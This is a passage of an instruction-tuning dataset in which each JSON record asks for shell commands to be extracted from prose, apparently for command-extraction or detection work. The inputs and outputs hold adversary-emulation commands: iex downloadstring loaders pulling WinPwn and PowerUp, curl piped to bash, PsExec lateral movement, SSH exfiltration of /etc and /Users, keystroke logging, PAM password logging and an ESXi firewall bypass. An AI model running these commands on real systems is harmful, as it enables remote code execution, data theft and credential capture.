cmd.exe",
    "output": "{\"command_list\": [\"cmd.exe /c \\\"wmic \\tcsproduct \\tget UUID\\\" \\ncmd.exe /c \\\"fsutil behavior \\tset SymlinkEvaluation R2L:1\\\" \\ncmd.exe /c \\\"fsutil behavior set \\tSymlinkEvaluation R2R:1\\\"\\nreg    add    HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\LanmanServer\\\\Parameters    /v MaxMpxCt /d 65535 /t REG_DWORD /f      \\ncopy \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PsExec.exe\\\" $env:temp\\ncmd.exe /c \\\"$env:temp\\\\psexec.exe  -accepteula  \\\\\\\\#{targethost} cmd.exe  /c echo \\\"--access-token\\\"\\\"\\n\", \"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\remcom.exe\\\" \\\\\\\\#{remote_host} /user:#{user_name} /pwd:#{password} cmd.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To showcase the dangers of piping downloads directly to bash, this example first retrieves a script normally, then executes it with bash to reveal hidden commands, via these instructions: cd /tmp\ncurl -s #{remote_url} |bash\nls -la /tmp/art.txt; To gather kernel information for targeted attacks, an adversary can use the following command: uname -srm",
    "output": "{\"command_list\": [\"cd /tmp\\ncurl -s #{remote_url} |bash\\nls -la /tmp/art.txt      \\n\", \"uname -srm\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test involves creating a new firewall rule with the command: New-NetFirewallRule -DisplayName \"New rule\" -Direction \"#{direction}\" -LocalPort \"#{local_port}\" -Protocol \"#{protocol}\" -Action \"#{action}\"; This test changes the ESXi firewall's default behavior to PASS all traffic, which can be done with this command: echo \"\" | \"#{plink_file}\" -batch \"#{vm_host}\" -ssh -l #{vm_user} -pw \"#{vm_pass}\" \"esxcli network firewall set --default-action true\"",
    "output": "{\"command_list\": [\"New-NetFirewallRule -DisplayName \\\"New rule\\\" -Direction \\\"#{direction}\\\" -LocalPort \\\"#{local_port}\\\" -Protocol \\\"#{protocol}\\\" -Action \\\"#{action}\\\"\", \"echo \\\"\\\" | \\\"#{plink_file}\\\" -batch \\\"#{vm_host}\\\" -ssh -l #{vm_user} -pw \\\"#{vm_pass}\\\" \\\"esxcli network firewall set --default-action true\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For successful execution through cmd.exe that outputs results via stdout, use sharpview.exe with this command: $syntaxList = #{syntax}\nforeach ($syntax in $syntaxList) {\n#{SharpView} $syntax -}\n; To test execution of a remote script via rundll32.exe, which will open notepad.exe, use the following command: rundll32.exe javascript:\"\\\\..\\\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:#{file_url}\").Exec();window.close();",
    "output": "{\"command_list\": [\"$syntaxList = #{syntax}\\nforeach ($syntax in $syntaxList) {\\n#{SharpView} $syntax -}\\n\", \"rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:#{file_url}\\\").Exec();window.close();\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To launch SessionGopher on this system via WinPwn, use the following command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsessionGopher -noninteractive -consoleoutput; For extracting local credentials from AWS, Microsoft Azure, and Google Compute via WinPwn, execute this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSharpCloud -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nsessionGopher -noninteractive -consoleoutput\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nSharpCloud -consoleoutput -noninteractive  \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For remote-to-local data exfiltration over SSH, execute this command to connect to the specified domain and save a tar.gz file of the /etc directory: ssh #{domain} \"(cd /etc && tar -zcvf - *)\" > ./etc.tar.gz; To test SSH exfiltration from local to remote, compress and encrypt the /Users/* directory by running this command: tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'",
    "output": "{\"command_list\": [\"ssh #{domain} \\\"(cd /etc && tar -zcvf - *)\\\" > ./etc.tar.gz\\n\", \"tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The PowerShell script Get-Keystrokes.ps1 can be invoked with the following command to log keystrokes: &\"$PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\" -LogPath #{filepath}; The following procedure configures PAM to log all terminal activity, including hidden passwords, with this command sequence:\nif sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;\nif sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;\nsudo touch /tmp/password-auth.bk\nsudo touch /tmp/system-auth.bk sudo echo \"session    required    pam_tty_audit.so\nenable=* log_password\" >> /etc/pam.d/password-auth sudo echo \"session    required    pam_tty_audit.so\nenable=* log_password\" >> /etc/pam.d/system-auth",
    "output": "{\"command_list\": [\"&\\\"$PathToAtomicsFolder\\\\T1056.001\\\\src\\\\Get-Keystrokes.ps1\\\" -LogPath #{filepath}\\n\", \"if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;\\nif sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;\\nsudo touch /tmp/password-auth.bk\\nsudo touch /tmp/system-auth.bk sudo echo \\\"session    required    pam_tty_audit.so\\nenable=* log_password\\\" >> /etc/pam.d/password-auth sudo echo \\\"session    required    pam_tty_audit.so\\nenable=* log_password\\\" >> /etc/pam.d/system-auth\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
